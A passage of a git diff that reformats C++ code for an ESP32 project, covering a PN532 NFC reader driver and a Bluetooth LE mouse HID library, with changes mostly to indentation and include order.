-    i2c_dev->read(rbuff, n + 1);
-    for (uint8_t i = 0; i < n; i++) {
-      buff[i] = rbuff[i + 1];
+    if (spi_dev) {
+        // SPI read
+        uint8_t cmd = PN532_SPI_DATAREAD;
+        spi_dev->write_then_read(&cmd, 1, buff, n);
+    } else if (i2c_dev) {
+        // I2C read
+        uint8_t rbuff[n + 1]; // +1 for leading RDY byte
+        i2c_dev->read(rbuff, n + 1);
+        for (uint8_t i = 0; i < n; i++) {
+            buff[i] = rbuff[i + 1];
+        }
+    } else if (ser_dev) {
+        // Serial read
+        ser_dev->readBytes(buff, n);
     }
-  } else if (ser_dev) {
-    // Serial read
-    ser_dev->readBytes(buff, n);
-  }
 #ifdef PN532DEBUG
-  PN532DEBUGPRINT.print(F("Reading: "));
-  for (uint8_t i = 0; i < n; i++) {
-    PN532DEBUGPRINT.print(F(" 0x"));
-    PN532DEBUGPRINT.print(buff[i], HEX);
-  }
-  PN532DEBUGPRINT.println();
+    PN532DEBUGPRINT.print(F("Reading: "));
+    for (uint8_t i = 0; i < n; i++) {
+        PN532DEBUGPRINT.print(F(" 0x"));
+        PN532DEBUGPRINT.print(buff[i], HEX);
+    }
+    PN532DEBUGPRINT.println();
 #endif
 }
 
@@ -1636,30 +1648,30 @@ void Adafruit_PN532::readdata(uint8_t *buff, uint8_t n) {
 */
 /**************************************************************************/
 uint8_t Adafruit_PN532::AsTarget() {
-  pn532_packetbuffer[0] = 0x8C;
-  uint8_t target[] = {
-      0x8C,             // INIT AS TARGET
-      0x00,             // MODE -> BITFIELD
-      0x08, 0x00,       // SENS_RES - MIFARE PARAMS
-      0xdc, 0x44, 0x20, // NFCID1T
-      0x60,             // SEL_RES
-      0x01, 0xfe, // NFCID2T MUST START WITH 01fe - FELICA PARAMS - POL_RES
-      0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xc0,
-      0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, // PAD
-      0xff, 0xff,                               // SYSTEM CODE
-      0xaa, 0x99, 0x88, 0x77, 0x66, 0x55, 0x44,
-      0x33, 0x22, 0x11, 0x01, 0x00, // NFCID3t MAX 47 BYTES ATR_RES
-      0x0d, 0x52, 0x46, 0x49, 0x44, 0x49, 0x4f,
-      0x74, 0x20, 0x50, 0x4e, 0x35, 0x33, 0x32 // HISTORICAL BYTES
-  };
-  if (!sendCommandCheckAck(target, sizeof(target)))
-    return false;
+    pn532_packetbuffer[0] = 0x8C;
+    uint8_t target[] = {
+        0x8C,             // INIT AS TARGET
+        0x00,             // MODE -> BITFIELD
+        0x08, 0x00,       // SENS_RES - MIFARE PARAMS
+        0xdc, 0x44, 0x20, // NFCID1T
+        0x60,             // SEL_RES
+        0x01, 0xfe, // NFCID2T MUST START WITH 01fe - FELICA PARAMS - POL_RES
+        0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xc0,
+        0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, // PAD
+        0xff, 0xff,                               // SYSTEM CODE
+        0xaa, 0x99, 0x88, 0x77, 0x66, 0x55, 0x44,
+        0x33, 0x22, 0x11, 0x01, 0x00, // NFCID3t MAX 47 BYTES ATR_RES
+        0x0d, 0x52, 0x46, 0x49, 0x44, 0x49, 0x4f,
+        0x74, 0x20, 0x50, 0x4e, 0x35, 0x33, 0x32 // HISTORICAL BYTES
+    };
+    if (!sendCommandCheckAck(target, sizeof(target)))
+        return false;
 
-  // read data packet
-  readdata(pn532_packetbuffer, 8);
+    // read data packet
+    readdata(pn532_packetbuffer, 8);
 
-  int offset = 6;
-  return (pn532_packetbuffer[offset] == 0x15);
+    int offset = 6;
+    return (pn532_packetbuffer[offset] == 0x15);
 }
 /**************************************************************************/
 /*!
@@ -1671,27 +1683,27 @@ uint8_t Adafruit_PN532::AsTarget() {
 */
 /**************************************************************************/
 uint8_t Adafruit_PN532::getDataTarget(uint8_t *cmd, uint8_t *cmdlen) {
-  uint8_t length;
-  pn532_packetbuffer[0] = 0x86;
-  if (!sendCommandCheckAck(pn532_packetbuffer, 1, 1000)) {
-    PN532DEBUGPRINT.println(F("Error en ack"));
-    return false;
-  }
-
-  // read data packet
-  readdata(pn532_packetbuffer, 64);
-  length = pn532_packetbuffer[3] - 3;
-
-  // if (length > *responseLength) {// Bug, should avoid it in the reading
-  // target data
-  //  length = *responseLength; // silent truncation...
-  //}
-
-  for (int i = 0; i < length; ++i) {
-    cmd[i] = pn532_packetbuffer[8 + i];
-  }
-  *cmdlen = length;
-  return true;
+    uint8_t length;
+    pn532_packetbuffer[0] = 0x86;
+    if (!sendCommandCheckAck(pn532_packetbuffer, 1, 1000)) {
+        PN532DEBUGPRINT.println(F("Error en ack"));
+        return false;
+    }
+
+    // read data packet
+    readdata(pn532_packetbuffer, 64);
+    length = pn532_packetbuffer[3] - 3;
+
+    // if (length > *responseLength) {// Bug, should avoid it in the reading
+    // target data
+    //  length = *responseLength; // silent truncation...
+    //}
+
+    for (int i = 0; i < length; ++i) {
+        cmd[i] = pn532_packetbuffer[8 + i];
+    }
+    *cmdlen = length;
+    return true;
 }
 
 /**************************************************************************/
@@ -1704,23 +1716,23 @@ uint8_t Adafruit_PN532::getDataTarget(uint8_t *cmd, uint8_t *cmdlen) {
 */
 /**************************************************************************/
 uint8_t Adafruit_PN532::setDataTarget(uint8_t *cmd, uint8_t cmdlen) {
-  uint8_t length;
-  // cmd1[0] = 0x8E; Must!
+    uint8_t length;
+    // cmd1[0] = 0x8E; Must!
 
-  if (!sendCommandCheckAck(cmd, cmdlen))
-    return false;
+    if (!sendCommandCheckAck(cmd, cmdlen))
+        return false;
 
-  // read data packet
-  readdata(pn532_packetbuffer, 8);
-  length = pn532_packetbuffer[3] - 3;
-  for (int i = 0; i < length; ++i) {
-    cmd[i] = pn532_packetbuffer[8 + i];
-  }
-  // cmdl = 0
-  cmdlen = length;
-
-  int offset = 6;
-  return (pn532_packetbuffer[offset] == 0x15);
+    // read data packet
+    readdata(pn532_packetbuffer, 8);
+    length = pn532_packetbuffer[3] - 3;
+    for (int i = 0; i < length; ++i) {
+        cmd[i] = pn532_packetbuffer[8 + i];
+    }
+    // cmdl = 0
+    cmdlen = length;
+
+    int offset = 6;
+    return (pn532_packetbuffer[offset] == 0x15);
 }
 
 /**************************************************************************/
@@ -1733,88 +1745,88 @@ uint8_t Adafruit_PN532::setDataTarget(uint8_t *cmd, uint8_t cmdlen) {
 */
 /**************************************************************************/
 void Adafruit_PN532::writecommand(uint8_t *cmd, uint8_t cmdlen) {
-  if (spi_dev) {
-    // SPI command write.
-    uint8_t checksum;
-    uint8_t packet[9 + cmdlen];
-    uint8_t *p = packet;
-    cmdlen++;
-
-    p[0] = PN532_SPI_DATAWRITE;
-    p++;
-
-    p[0] = PN532_PREAMBLE;
-    p++;
-    p[0] = PN532_STARTCODE1;
-    p++;
-    p[0] = PN532_STARTCODE2;
-    p++;
-    checksum = PN532_PREAMBLE + PN532_STARTCODE1 + PN532_STARTCODE2;
-
-    p[0] = cmdlen;
-    p++;
-    p[0] = ~cmdlen + 1;
-    p++;
-
-    p[0] = PN532_HOSTTOPN532;
-    p++;
-    checksum += PN532_HOSTTOPN532;
-
-    for (uint8_t i = 0; i < cmdlen - 1; i++) {
-      p[0] = cmd[i];
-      p++;
-      checksum += cmd[i];
-    }
-
-    p[0] = ~checksum;
-    p++;
-    p[0] = PN532_POSTAMBLE;
-    p++;
+    if (spi_dev) {
+        // SPI command write.
+        uint8_t checksum;
+        uint8_t packet[9 + cmdlen];
+        uint8_t *p = packet;
+        cmdlen++;
+
+        p[0] = PN532_SPI_DATAWRITE;
+        p++;
+
+        p[0] = PN532_PREAMBLE;
+        p++;
+        p[0] = PN532_STARTCODE1;
+        p++;
+        p[0] = PN532_STARTCODE2;
+        p++;
+        checksum = PN532_PREAMBLE + PN532_STARTCODE1 + PN532_STARTCODE2;
+
+        p[0] = cmdlen;
+        p++;
+        p[0] = ~cmdlen + 1;
+        p++;
+
+        p[0] = PN532_HOSTTOPN532;
+        p++;
+        checksum += PN532_HOSTTOPN532;
+
+        for (uint8_t i = 0; i < cmdlen - 1; i++) {
+            p[0] = cmd[i];
+            p++;
+            checksum += cmd[i];
+        }
+
+        p[0] = ~checksum;
+        p++;
+        p[0] = PN532_POSTAMBLE;
+        p++;
 
 #ifdef PN532DEBUG
-    Serial.print("Sending : ");
-    for (int i = 1; i < 8 + cmdlen; i++) {
-      Serial.print("0x");
-      Serial.print(packet[i], HEX);
-      Serial.print(", ");
-    }
-    Serial.println();
+        Serial.print("Sending : ");
+        for (int i = 1; i < 8 + cmdlen; i++) {
+            Serial.print("0x");
+            Serial.print(packet[i], HEX);
+            Serial.print(", ");
+        }
+        Serial.println();
 #endif
 
-    spi_dev->write(packet, 8 + cmdlen);
-  } else if (i2c_dev || ser_dev) {
-    // I2C or Serial command write.
-    uint8_t packet[8 + cmdlen];
-    uint8_t LEN = cmdlen + 1;
-
-    packet[0] = PN532_PREAMBLE;
-    packet[1] = PN532_STARTCODE1;
-    packet[2] = PN532_STARTCODE2;
-    packet[3] = LEN;
-    packet[4] = ~LEN + 1;
-    packet[5] = PN532_HOSTTOPN532;
-    uint8_t sum = 0;
-    for (uint8_t i = 0; i < cmdlen; i++) {
-      packet[6 + i] = cmd[i];
-      sum += cmd[i];
-    }
-    packet[6 + cmdlen] = ~(PN532_HOSTTOPN532 + sum) + 1;
-    packet[7 + cmdlen] = PN532_POSTAMBLE;
+        spi_dev->write(packet, 8 + cmdlen);
+    } else if (i2c_dev || ser_dev) {
+        // I2C or Serial command write.
+        uint8_t packet[8 + cmdlen];
+        uint8_t LEN = cmdlen + 1;
+
+        packet[0] = PN532_PREAMBLE;
+        packet[1] = PN532_STARTCODE1;
+        packet[2] = PN532_STARTCODE2;
+        packet[3] = LEN;
+        packet[4] = ~LEN + 1;
+        packet[5] = PN532_HOSTTOPN532;
+        uint8_t sum = 0;
+        for (uint8_t i = 0; i < cmdlen; i++) {
+            packet[6 + i] = cmd[i];
+            sum += cmd[i];
+        }
+        packet[6 + cmdlen] = ~(PN532_HOSTTOPN532 + sum) + 1;
+        packet[7 + cmdlen] = PN532_POSTAMBLE;
 
 #ifdef PN532DEBUG
-    Serial.print("Sending : ");
-    for (int i = 1; i < 8 + cmdlen; i++) {
-      Serial.print("0x");
-      Serial.print(packet[i], HEX);
-      Serial.print(", ");
-    }
-    Serial.println();
+        Serial.print("Sending : ");
+        for (int i = 1; i < 8 + cmdlen; i++) {
+            Serial.print("0x");
+            Serial.print(packet[i], HEX);
+            Serial.print(", ");
+        }
+        Serial.println();
 #endif
 
-    if (i2c_dev) {
-      i2c_dev->write(packet, 8 + cmdlen);
-    } else {
-      ser_dev->write(packet, 8 + cmdlen);
+        if (i2c_dev) {
+            i2c_dev->write(packet, 8 + cmdlen);
+        } else {
+            ser_dev->write(packet, 8 + cmdlen);
+        }
     }
-  }
 }
diff --git a/src/libs/Adafruit_PN532.h b/src/libs/Adafruit_PN532.h
index f59e576..c33db5c 100644
--- a/src/libs/Adafruit_PN532.h
+++ b/src/libs/Adafruit_PN532.h
@@ -70,13 +70,13 @@
 #define PN532_SPI_DATAREAD (0x03)  ///< Data read
 #define PN532_SPI_READY (0x01)     ///< Ready
 
-//#define PN532_I2C_ADDRESS (0x48 >> 1) ///< Default I2C address
-// My fucking clone board for some goddamn reason uses the address 0x28
+// #define PN532_I2C_ADDRESS (0x48 >> 1) ///< Default I2C address
+//  My fucking clone board for some goddamn reason uses the address 0x28
 #define PN532_I2C_ADDRESS (0x28)
-#define PN532_I2C_READBIT (0x01)      ///< Read bit
-#define PN532_I2C_BUSY (0x00)         ///< Busy
-#define PN532_I2C_READY (0x01)        ///< Ready
-#define PN532_I2C_READYTIMEOUT (20)   ///< Ready timeout
+#define PN532_I2C_READBIT (0x01)    ///< Read bit
+#define PN532_I2C_BUSY (0x00)       ///< Busy
+#define PN532_I2C_READY (0x01)      ///< Ready
+#define PN532_I2C_READYTIMEOUT (20) ///< Ready timeout
 
 #define PN532_MIFARE_ISO14443A (0x00) ///< MiFare
 
@@ -141,83 +141,85 @@
  * @brief Class for working with Adafruit PN532 NFC/RFID breakout boards.
  */
 class Adafruit_PN532 {
-public:
-  Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi,
-                 uint8_t ss);                          // Software SPI
-  Adafruit_PN532(uint8_t ss, SPIClass *theSPI = &SPI); // Hardware SPI
-  Adafruit_PN532(uint8_t irq, uint8_t reset,
-                 TwoWire *theWire = &Wire);              // Hardware I2C
-  Adafruit_PN532(uint8_t reset, HardwareSerial *theSer); // Hardware UART
-  bool begin(void);
-
-  void reset(void);
-  void wakeup(void);
-
-  // Generic PN532 functions
-  bool SAMConfig(void);
-  uint32_t getFirmwareVersion(void);
-  bool sendCommandCheckAck(uint8_t *cmd, uint8_t cmdlen,
-                           uint16_t timeout = 100);
-  bool writeGPIO(uint8_t pinstate);
-  uint8_t readGPIO(void);
-  bool setPassiveActivationRetries(uint8_t maxRetries);
-
-  // ISO14443A functions
-  bool readPassiveTargetID(
-      uint8_t cardbaudrate, uint8_t *uid, uint8_t *uidLength,
-      uint16_t timeout = 0); // timeout 0 means no timeout - will block forever.
-  bool startPassiveTargetIDDetection(uint8_t cardbaudrate);
-  bool readDetectedPassiveTargetID(uint8_t *uid, uint8_t *uidLength);
-  bool inDataExchange(uint8_t *send, uint8_t sendLength, uint8_t *response,
-                      uint8_t *responseLength);
-  bool inListPassiveTarget();
-  uint8_t AsTarget();
-  uint8_t getDataTarget(uint8_t *cmd, uint8_t *cmdlen);
-  uint8_t setDataTarget(uint8_t *cmd, uint8_t cmdlen);
-
-  // Mifare Classic functions
-  bool mifareclassic_IsFirstBlock(uint32_t uiBlock);
-  bool mifareclassic_IsTrailerBlock(uint32_t uiBlock);
-  uint8_t mifareclassic_AuthenticateBlock(uint8_t *uid, uint8_t uidLen,
-                                          uint32_t blockNumber,
-                                          uint8_t keyNumber, uint8_t *keyData);
-  uint8_t mifareclassic_ReadDataBlock(uint8_t blockNumber, uint8_t *data);
-  uint8_t mifareclassic_WriteDataBlock(uint8_t blockNumber, uint8_t *data);
-  uint8_t mifareclassic_FormatNDEF(void);
-  uint8_t mifareclassic_WriteNDEFURI(uint8_t sectorNumber,
-                                     uint8_t uriIdentifier, const char *url);
-
-  // Mifare Ultralight functions
-  uint8_t mifareultralight_ReadPage(uint8_t page, uint8_t *buffer);
-  uint8_t mifareultralight_WritePage(uint8_t page, uint8_t *data);
-
-  // NTAG2xx functions
-  uint8_t ntag2xx_ReadPage(uint8_t page, uint8_t *buffer);
-  uint8_t ntag2xx_WritePage(uint8_t page, uint8_t *data);
-  uint8_t ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url,
-                               uint8_t dataLen);
-
-  // Help functions to display formatted text
-  static void PrintHex(const byte *data, const uint32_t numBytes);
-  static void PrintHexChar(const byte *pbtData, const uint32_t numBytes);
-
-private:
-  int8_t _irq = -1, _reset = -1, _cs = -1;
-  int8_t _uid[7];      // ISO14443A uid
-  int8_t _uidLen;      // uid len
-  int8_t _key[6];      // Mifare Classic key
-  int8_t _inListedTag; // Tg number of inlisted tag.
-
-  // Low level communication functions that handle both SPI and I2C.
-  void readdata(uint8_t *buff, uint8_t n);
-  void writecommand(uint8_t *cmd, uint8_t cmdlen);
-  bool isready();
-  bool waitready(uint16_t timeout);
-  bool readack();
-
-  Adafruit_SPIDevice *spi_dev = NULL;
-  Adafruit_I2CDevice *i2c_dev = NULL;
-  HardwareSerial *ser_dev = NULL;
+  public:
+    Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi,
+                   uint8_t ss);                          // Software SPI
+    Adafruit_PN532(uint8_t ss, SPIClass *theSPI = &SPI); // Hardware SPI
+    Adafruit_PN532(uint8_t irq, uint8_t reset,
+                   TwoWire *theWire = &Wire);              // Hardware I2C
+    Adafruit_PN532(uint8_t reset, HardwareSerial *theSer); // Hardware UART
+    bool begin(void);
+
+    void reset(void);
+    void wakeup(void);
+
+    // Generic PN532 functions
+    bool SAMConfig(void);
+    uint32_t getFirmwareVersion(void);
+    bool sendCommandCheckAck(uint8_t *cmd, uint8_t cmdlen,
+                             uint16_t timeout = 100);
+    bool writeGPIO(uint8_t pinstate);
+    uint8_t readGPIO(void);
+    bool setPassiveActivationRetries(uint8_t maxRetries);
+
+    // ISO14443A functions
+    bool readPassiveTargetID(
+        uint8_t cardbaudrate, uint8_t *uid, uint8_t *uidLength,
+        uint16_t timeout =
+            0); // timeout 0 means no timeout - will block forever.
+    bool startPassiveTargetIDDetection(uint8_t cardbaudrate);
+    bool readDetectedPassiveTargetID(uint8_t *uid, uint8_t *uidLength);
+    bool inDataExchange(uint8_t *send, uint8_t sendLength, uint8_t *response,
+                        uint8_t *responseLength);
+    bool inListPassiveTarget();
+    uint8_t AsTarget();
+    uint8_t getDataTarget(uint8_t *cmd, uint8_t *cmdlen);
+    uint8_t setDataTarget(uint8_t *cmd, uint8_t cmdlen);
+
+    // Mifare Classic functions
+    bool mifareclassic_IsFirstBlock(uint32_t uiBlock);
+    bool mifareclassic_IsTrailerBlock(uint32_t uiBlock);
+    uint8_t mifareclassic_AuthenticateBlock(uint8_t *uid, uint8_t uidLen,
+                                            uint32_t blockNumber,
+                                            uint8_t keyNumber,
+                                            uint8_t *keyData);
+    uint8_t mifareclassic_ReadDataBlock(uint8_t blockNumber, uint8_t *data);
+    uint8_t mifareclassic_WriteDataBlock(uint8_t blockNumber, uint8_t *data);
+    uint8_t mifareclassic_FormatNDEF(void);
+    uint8_t mifareclassic_WriteNDEFURI(uint8_t sectorNumber,
+                                       uint8_t uriIdentifier, const char *url);
+
+    // Mifare Ultralight functions
+    uint8_t mifareultralight_ReadPage(uint8_t page, uint8_t *buffer);
+    uint8_t mifareultralight_WritePage(uint8_t page, uint8_t *data);
+
+    // NTAG2xx functions
+    uint8_t ntag2xx_ReadPage(uint8_t page, uint8_t *buffer);
+    uint8_t ntag2xx_WritePage(uint8_t page, uint8_t *data);
+    uint8_t ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url,
+                                 uint8_t dataLen);
+
+    // Help functions to display formatted text
+    static void PrintHex(const byte *data, const uint32_t numBytes);
+    static void PrintHexChar(const byte *pbtData, const uint32_t numBytes);
+
+  private:
+    int8_t _irq = -1, _reset = -1, _cs = -1;
+    int8_t _uid[7];      // ISO14443A uid
+    int8_t _uidLen;      // uid len
+    int8_t _key[6];      // Mifare Classic key
+    int8_t _inListedTag; // Tg number of inlisted tag.
+
+    // Low level communication functions that handle both SPI and I2C.
+    void readdata(uint8_t *buff, uint8_t n);
+    void writecommand(uint8_t *cmd, uint8_t cmdlen);
+    bool isready();
+    bool waitready(uint16_t timeout);
+    bool readack();
+
+    Adafruit_SPIDevice *spi_dev = NULL;
+    Adafruit_I2CDevice *i2c_dev = NULL;
+    HardwareSerial *ser_dev = NULL;
 };
 
 #endif
diff --git a/src/libs/BleConnectionStatus.cpp b/src/libs/BleConnectionStatus.cpp
index f01183b..83d3539 100644
--- a/src/libs/BleConnectionStatus.cpp
+++ b/src/libs/BleConnectionStatus.cpp
@@ -1,18 +1,17 @@
 #include "BleConnectionStatus.h"
 
-BleConnectionStatus::BleConnectionStatus(void) {
-}
+BleConnectionStatus::BleConnectionStatus(void) {}
 
-void BleConnectionStatus::onConnect(BLEServer* pServer)
-{
-  this->connected = true;
-  BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902));
-  desc->setNotifications(true);
+void BleConnectionStatus::onConnect(BLEServer *pServer) {
+    this->connected = true;
+    BLE2902 *desc = (BLE2902 *)this->inputMouse->getDescriptorByUUID(
+        BLEUUID((uint16_t)0x2902));
+    desc->setNotifications(true);
 }
 
-void BleConnectionStatus::onDisconnect(BLEServer* pServer)
-{
-  this->connected = false;
-  BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902));
-  desc->setNotifications(false);
+void BleConnectionStatus::onDisconnect(BLEServer *pServer) {
+    this->connected = false;
+    BLE2902 *desc = (BLE2902 *)this->inputMouse->getDescriptorByUUID(
+        BLEUUID((uint16_t)0x2902));
+    desc->setNotifications(false);
 }
diff --git a/src/libs/BleConnectionStatus.h b/src/libs/BleConnectionStatus.h
index b703150..45b7185 100644
--- a/src/libs/BleConnectionStatus.h
+++ b/src/libs/BleConnectionStatus.h
@@ -3,18 +3,17 @@
 #include "sdkconfig.h"
 #if defined(CONFIG_BT_ENABLED)
 
-#include <BLEServer.h>
 #include "BLE2902.h"
 #include "BLECharacteristic.h"
+#include <BLEServer.h>
 
-class BleConnectionStatus : public BLEServerCallbacks
-{
-public:
-  BleConnectionStatus(void);
-  bool connected = false;
-  void onConnect(BLEServer* pServer);
-  void onDisconnect(BLEServer* pServer);
-  BLECharacteristic* inputMouse;
+class BleConnectionStatus : public BLEServerCallbacks {
+  public:
+    BleConnectionStatus(void);
+    bool connected = false;
+    void onConnect(BLEServer *pServer);
+    void onDisconnect(BLEServer *pServer);
+    BLECharacteristic *inputMouse;
 };
 
 #endif // CONFIG_BT_ENABLED
diff --git a/src/libs/BleMouse.cpp b/src/libs/BleMouse.cpp
index 665121e..8f5c16e 100644
--- a/src/libs/BleMouse.cpp
+++ b/src/libs/BleMouse.cpp
@@ -1,173 +1,165 @@
-#include <BLEDevice.h>
-#include <BLEUtils.h>
-#include <BLEServer.h>
 #include "BLE2902.h"
 #include "BLEHIDDevice.h"
-#include "HIDTypes.h"
 #include "HIDKeyboardTypes.h"
-#include <driver/adc.h>
+#include "HIDTypes.h"
 #include "sdkconfig.h"
+#include <BLEDevice.h>
+#include <BLEServer.h>
+#include <BLEUtils.h>
+#include <driver/adc.h>
 
 #include "BleConnectionStatus.h"
 #include "BleMouse.h"
 
 #if defined(CONFIG_ARDUHAL_ESP_LOG)
-  #include "esp32-hal-log.h"
-  #define LOG_TAG ""
+#include "esp32-hal-log.h"
+#define LOG_TAG ""
 #else
-  #include "esp_log.h"
-  static const char* LOG_TAG = "BLEDevice";
+#include "esp_log.h"
+static const char *LOG_TAG = "BLEDevice";
 #endif
 
 static const uint8_t _hidReportDescriptor[] = {
-  USAGE_PAGE(1),       0x01, // USAGE_PAGE (Generic Desktop)
-  USAGE(1),            0x02, // USAGE (Mouse)
-  COLLECTION(1),       0x01, // COLLECTION (Application)
-  USAGE(1),            0x01, //   USAGE (Pointer)
-  COLLECTION(1),       0x00, //   COLLECTION (Physical)
-  // ------------------------------------------------- Buttons (Left, Right, Middle, Back, Forward)
-  USAGE_PAGE(1),       0x09, //     USAGE_PAGE (Button)
-  USAGE_MINIMUM(1),    0x01, //     USAGE_MINIMUM (Button 1)
-  USAGE_MAXIMUM(1),    0x05, //     USAGE_MAXIMUM (Button 5)
-  LOGICAL_MINIMUM(1),  0x00, //     LOGICAL_MINIMUM (0)
-  LOGICAL_MAXIMUM(1),  0x01, //     LOGICAL_MAXIMUM (1)
-  REPORT_SIZE(1),      0x01, //     REPORT_SIZE (1)
-  REPORT_COUNT(1),     0x05, //     REPORT_COUNT (5)
-  HIDINPUT(1),         0x02, //     INPUT (Data, Variable, Absolute) ;5 button bits
-  // ------------------------------------------------- Padding
-  REPORT_SIZE(1),      0x03, //     REPORT_SIZE (3)
-  REPORT_COUNT(1),     0x01, //     REPORT_COUNT (1)
-  HIDINPUT(1),         0x03, //     INPUT (Constant, Variable, Absolute) ;3 bit padding
-  // ------------------------------------------------- X/Y position, Wheel
-  USAGE_PAGE(1),       0x01, //     USAGE_PAGE (Generic Desktop)
-  USAGE(1),            0x30, //     USAGE (X)
-  USAGE(1),            0x31, //     USAGE (Y)
-  USAGE(1),            0x38, //     USAGE (Wheel)
-  LOGICAL_MINIMUM(1),  0x81, //     LOGICAL_MINIMUM (-127)
-  LOGICAL_MAXIMUM(1),  0x7f, //     LOGICAL_MAXIMUM (127)
-  REPORT_SIZE(1),      0x08, //     REPORT_SIZE (8)
-  REPORT_COUNT(1),     0x03, //     REPORT_COUNT (3)
-  HIDINPUT(1),         0x06, //     INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel)
-  // ------------------------------------------------- Horizontal wheel
-  USAGE_PAGE(1),       0x0c, //     USAGE PAGE (Consumer Devices)
-  USAGE(2),      0x38, 0x02, //     USAGE (AC Pan)
-  LOGICAL_MINIMUM(1),  0x81, //     LOGICAL_MINIMUM (-127)
-  LOGICAL_MAXIMUM(1),  0x7f, //     LOGICAL_MAXIMUM (127)
-  REPORT_SIZE(1),      0x08, //     REPORT_SIZE (8)
-  REPORT_COUNT(1),     0x01, //     REPORT_COUNT (1)
-  HIDINPUT(1),         0x06, //     INPUT (Data, Var, Rel)
-  END_COLLECTION(0),         //   END_COLLECTION
-  END_COLLECTION(0)          // END_COLLECTION
+    USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop)
+    USAGE(1), 0x02,      // USAGE (Mouse)
+    COLLECTION(1), 0x01, // COLLECTION (Application)
+    USAGE(1), 0x01,      //   USAGE (Pointer)
+    COLLECTION(1), 0x00, //   COLLECTION (Physical)
+    // ------------------------------------------------- Buttons (Left, Right,
+    // Middle, Back, Forward)
+    USAGE_PAGE(1), 0x09,      //     USAGE_PAGE (Button)
+    USAGE_MINIMUM(1), 0x01,   //     USAGE_MINIMUM (Button 1)
+    USAGE_MAXIMUM(1), 0x05,   //     USAGE_MAXIMUM (Button 5)
+    LOGICAL_MINIMUM(1), 0x00, //     LOGICAL_MINIMUM (0)
+    LOGICAL_MAXIMUM(1), 0x01, //     LOGICAL_MAXIMUM (1)
+    REPORT_SIZE(1), 0x01,     //     REPORT_SIZE (1)
+    REPORT_COUNT(1), 0x05,    //     REPORT_COUNT (5)
+    HIDINPUT(1), 0x02, //     INPUT (Data, Variable, Absolute) ;5 button bits
+    // ------------------------------------------------- Padding
+    REPORT_SIZE(1), 0x03,  //     REPORT_SIZE (3)
+    REPORT_COUNT(1), 0x01, //     REPORT_COUNT (1)
+    HIDINPUT(1),
+    0x03, //     INPUT (Constant, Variable, Absolute) ;3 bit padding
+    // ------------------------------------------------- X/Y position, Wheel
+    USAGE_PAGE(1), 0x01,      //     USAGE_PAGE (Generic Desktop)
+    USAGE(1), 0x30,           //     USAGE (X)
+    USAGE(1), 0x31,           //     USAGE (Y)
+    USAGE(1), 0x38,           //     USAGE (Wheel)
+    LOGICAL_MINIMUM(1), 0x81, //     LOGICAL_MINIMUM (-127)
+    LOGICAL_MAXIMUM(1), 0x7f, //     LOGICAL_MAXIMUM (127)
+    REPORT_SIZE(1), 0x08,     //     REPORT_SIZE (8)
+    REPORT_COUNT(1), 0x03,    //     REPORT_COUNT (3)
+    HIDINPUT(1),
+    0x06, //     INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel)
+    // ------------------------------------------------- Horizontal wheel
+    USAGE_PAGE(1), 0x0c,      //     USAGE PAGE (Consumer Devices)
+    USAGE(2), 0x38, 0x02,     //     USAGE (AC Pan)
+    LOGICAL_MINIMUM(1), 0x81, //     LOGICAL_MINIMUM (-127)
+    LOGICAL_MAXIMUM(1), 0x7f, //     LOGICAL_MAXIMUM (127)
+    REPORT_SIZE(1), 0x08,     //     REPORT_SIZE (8)
+    REPORT_COUNT(1), 0x01,    //     REPORT_COUNT (1)
+    HIDINPUT(1), 0x06,        //     INPUT (Data, Var, Rel)
+    END_COLLECTION(0),        //   END_COLLECTION
+    END_COLLECTION(0)         // END_COLLECTION
 };
 
-BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer, uint8_t batteryLevel) :
-    _buttons(0),
-    hid(0)
-{
-  this->deviceName = deviceName;
-  this->deviceManufacturer = deviceManufacturer;
-  this->batteryLevel = batteryLevel;
-  this->connectionStatus = new BleConnectionStatus();
+BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer,
+                   uint8_t batteryLevel)
+    : _buttons(0), hid(0) {
+    this->deviceName = deviceName;
+    this->deviceManufacturer = deviceManufacturer;
+    this->batteryLevel = batteryLevel;
+    this->connectionStatus = new BleConnectionStatus();
 }
 
-void BleMouse::begin(void)
-{
-  xTaskCreate(this->taskServer, "server", 20000, (void *)this, 5, NULL);
+void BleMouse::begin(void) {
+    xTaskCreate(this->taskServer, "server", 20000, (void *)this, 5, NULL);
 }
 
-void BleMouse::end(void)
-{
-}
+void BleMouse::end(void) {}
 
-void BleMouse::click(uint8_t b)
-{
-  _buttons = b;
-  move(0,0,0,0);
-  _buttons = 0;
-  move(0,0,0,0);
+void BleMouse::click(uint8_t b) {
+    _buttons = b;
+    move(0, 0, 0, 0);
+    _buttons = 0;
+    move(0, 0, 0, 0);
 }
 
-void BleMouse::move(signed char x, signed char y, signed char wheel, signed char hWheel)
-{
-  if (this->isConnected())
-  {
-    uint8_t m[5];
-    m[0] = _buttons;
-    m[1] = x;
-    m[2] = y;
-    m[3] = wheel;
-    m[4] = hWheel;
-    this->inputMouse->setValue(m, 5);
-    this->inputMouse->notify();
-  }
+void BleMouse::move(signed char x, signed char y, signed char wheel,
+                    signed char hWheel) {
+    if (this->isConnected()) {
+        uint8_t m[5];
+        m[0] = _buttons;
+        m[1] = x;
+        m[2] = y;
+        m[3] = wheel;
+        m[4] = hWheel;
+        this->inputMouse->setValue(m, 5);
+        this->inputMouse->notify();
+    }
 }
 
-void BleMouse::buttons(uint8_t b)
-{
-  if (b != _buttons)
-  {
-    _buttons = b;
-    move(0,0,0,0);
-  }
+void BleMouse::buttons(uint8_t b) {
+    if (b != _buttons) {
+        _buttons = b;
+        move(0, 0, 0, 0);
+    }
 }
 
-void BleMouse::press(uint8_t b)
-{
